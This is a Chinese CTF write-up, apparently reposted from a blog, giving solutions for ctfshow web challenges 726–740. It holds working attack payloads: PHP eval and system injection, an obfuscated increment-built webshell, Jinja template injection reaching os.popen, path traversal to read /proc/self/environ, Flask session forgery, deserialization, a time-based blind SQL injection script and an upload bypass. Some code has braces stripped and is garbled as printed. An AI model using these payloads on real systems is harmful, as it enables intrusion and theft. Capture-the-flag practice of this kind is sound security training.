CTFSHOW大赛原题篇(web726-web740)

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW大赛原题篇(web726-web740)相关的知识,希望对你有一定的参考价值。

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。

文章目录

web726

username=;eval($_POST[1]);phpinfo();//
username=%00
同之前的web692

web727

自增绕过

$_=[];$_=$_.'';$_=$_[';'=='$'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

传入code=xxx&_=phpinfo();
不要忘了url编码

web728

flag在template目录下

code=',system('cat t*/f*'));//

相当于

strpos('',system('cat t*/f*'));//', '..') === false
strpos('',system('cat t*/f*'));

web729

strcmp可以用数组绕过
下面的是要求输入的secret长度为21,大小等于6543
直接往后面堆0就可以了。

GET:
?secret=6543.0000000000000000

POST:
flag[]=1

web730

https://github.com/osirislab/CSAW-CTF-2019-Finals/blob/0f9de48efda520134bfbe3f9b674ec19a4955057/web/biometric/main.py
题目更像是一个密码学题。。。。。(让人头大)
只能直接给大家奉上wp了。


import requests
import numpy as np
from scipy.optimize import minimize


def main():
    x0 = np.zeros([128]).tolist()
    res = minimize(get_score, x0, method='CG', options='xtol': 1e-7, 'disp': True)
    print(res)
    res = get_request(res.x)
    print(res)

def get_request(encoding) -> str:
    payload = "username": "admin", "encoding": encoding.tolist()
    #print(encoding.tolist())
    res = requests.post("http://157d4038-cd05-4438-b0fd-632e2a5eb195.challenge.ctf.show/", json=payload)
    return res.content

def get_score(encoding)-> float:
    content = get_request(encoding)
    if str(content).find("Login Failed") < 0:
        res = 0
    else:
        res =  float(str(content).split(":")[-1][:-2].strip())
    return res

if __name__ == '__main__':
    main()

web731

查看源码

  $hash = sha1($_GET['hash']);
  $target = sha1(10932435112);
  if($hash == $target) 
      include('flag.php');
      print $flag;
  

除此之外,731勿忘国耻

应该还有个判断输入的hash与10932435112不等。
而10932435112的sha1值刚好是0e开头的,且0e后面全是数字,所以可以找下其他字符串sha1值是0e开头,后面全是数字的。
md5中

QNKCDZO

240610708

S878926199a

s155964671a

s214587387a

sha1中

aaroZmOk

aaO8zKZF

aa3OFF9m

hash=aaroZmOk

web732

官方wp
https://github.com/K3vin3/CSICTF2020/tree/main/Secure%20Portal
一个好的js解密网站
http://www.jsnice.org/
填上一个赋值和打印
我们把第一个参数,第二个参数都打印出来就差不多可以拿到全部的密码了。

最后的密码
5W$Fbb=+nBE*pg4t^7M

web733

这个题有一定的迷惑性,在第一个类permissions中,我们其实没有什么可以利用的,所以这个类也就没什么用了。
第二个类有个读,有个写,但是这个写函数是永远不可能被调用的,所以只能用读函数了。
但是类中没有反序列化的入口,不过幸好在反序列化接收后有个调用函数。
$perm->is_guest();
而access_log类中没有该方法,就会进入catch,catch中字符串与类进行拼接,会触发类中的__toString函数,进而执行读函数。

<?php 

class access_log

	public $log_file='flag.php';


echo urlencode(base64_encode(serialize(new access_log())));

cookie中增加一个login,把值传进去就可以了。
flag在源码中。

web734

var md5=require('md5');
var A=[1];
var B='1';
var secret_key='abcd';
console.log(A.length);
console.log(B.length);
console.log((secret_key + A));
console.log((secret_key + B));

输出结果

1
1
abcd1
abcd1

payload

"A":[1],"B":"1"

或者

"A":[1],"B":["1"]

web735

python的模板注入题
过滤了单引号没有过滤双引号
过滤了点号可以用attr过滤器绕过
过滤了下划线_可以用16进制编码绕过
原始payload

config.__class__.__init__.__globals__['os'].popen('cat c*').read()

可能有同学会问这个怎么来的

替换后payload

(config|attr("\\x5f\\x5fclass\\x5f\\x5f")|attr("\\x5f\\x5finit\\x5f\\x5f")|attr("\\x5f\\x5fglobals\\x5f\\x5f"))["os"]|attr("popen")("cat c*")|attr("read")()

web736

解密session可以得到"balance":1336,"purchases":[]

那么下面要做的就是伪造session了。
我们知道加密需要有个key,题目中正好存在一个任意文件下载。而key一般是在环境变量中,所以我们可以下载/proc/self/environ
?image=../../../../../proc/self/environ
得到keyctfshowsecretkeyhereyouneverknow
剩下的就是重新生成一个session了。可以利用

python3 flask_session_cookie_manager3.py encode -s "ctfshowsecretkeyhereyouneverknow" -t '"balance":10000,"purchases":[]'

工具下载地址https://github.com/noraj/flask-session-cookie-manager

web737

官方wphttps://github.com/sp1ral-vx/owasp-ukraine-ctf-2019-writeups/blob/master/01.md
这题真的很迷

import hashlib
import re

while True:
	h = hashlib.md5('flag..php'.format(i)).hexdigest()[:8]
	if re.search(r'^[0]+e[0-9]+$', h):
		break
    i += 1
print('flag..php'.format(i))

得到flag.1259.php
然后读取flag.1259.php
developers_mod_v7499.php?file=flag.1259.php

web738

整到原题的源码才知道怎么做,说实话不知道源码压根不知道干嘛。
https://github.com/Annihilat0r/owaspctf/tree/master/002shoppingcart
存在sql注入

这个$param_name是可控的,也就是我们get传入的键名
shopping-cart.php?0||if(1,sleep(3),0)%23=1
这样传值会有延时,group_concat没法用可以用limit
payload(注释的部分是查表名和列名的)

import requests 
import time
url="http://13fcadba-92c6-4607-b715-dea7d709c8bd.challenge.ctf.show/shopping-cart.php?action=empty&"
flag=''
s='0123456789-abcdef'
for i in range(9,45):
    print(i)
    for j in s:
        #print(j)
        l="0||if((substr((select secret from  secret),0,1))like('1'),sleep(3),0)%23=1".format(i,j)
        u=url+l  
        t1=time.time()
        requests.get(u)
        t2=time.time()
        if(t2-t1>3):
            flag+=j
            print(flag)
            break
# for i in range(1,32):
#     print(i)
#     for j in range(95,127):
#         print(j)
#         #l="0||if(ascii(substr((select table_name from information_schema.tables where table_schema like database() limit 1,1),0,1))like(1),sleep(3),0)%23=1".format(i,j)
#         #l="0||if(ascii(substr((select column_name from information_schema.columns where table_name like 'secret' limit 0,1),0,1))like(1),sleep(3),0)%23=1".format(i,j)
#         l="0||if(ascii(substr((select secret from  secret),0,1))like(1),sleep(3),0)%23=1".format(i,j)

#         u=url+l  
#         t1=time.time()
#         requests.get(u)
#         t2=time.time()
#         if(t2-t1>3):
#             flag+=chr(j)
#             print(flag)
#             break

web739

上传xx.jpg.php绕过
图片在image目录下
另外利用一句话木马随便看了下源码,只要上传的文件名中有.jpg .png 等即可上传成功。

<?php
error_reporting(1);
$target_dir = "images/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST["submit"])) 

    $check = preg_match('/(.jpg|.jpeg|.png|.gif)/', $_FILES["fileToUpload"]["name"]);
    if($check !== 0) 

        $uploadOk = 1;
     else 

        $uploadOk = 0;
    

    if ($uploadOk == 0) 
        echo "非法文件类型";
     else 
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) 
            echo "文件上传成功";
         else 
            echo "文件上传失败";
        
    



?>

web740

import requests  
import hashlib
a=[]
url="http://381ec5bf-2b46-4fcb-ac3d-38e92fcacd20.challenge.ctf.show/"
for i in range(0,32):
    for j in range(1000):
        md5=hashlib.md5(str(j).encode(encoding='UTF-8')).hexdigest()
        if('6'==md5[i]):
            a.append(j)
            break
for i in range(len(a)):
    data='hash':a[i]
    r=requests.post(url,data=data)
    print(r.text[i],end='')

以上是关于CTFSHOW大赛原题篇(web726-web740)的主要内容,如果未能解决你的问题,请参考以下文章

CTFSHOW大赛原题篇(web741-web755)

CTFSHOW大赛原题篇(web711-web725)

CTFSHOW大赛原题篇(web756-web770)

CTFSHOW大赛原题篇(web696-web710)

ctfshow—web—web3

ctfshow web入门 命令执行后篇(web55-web188)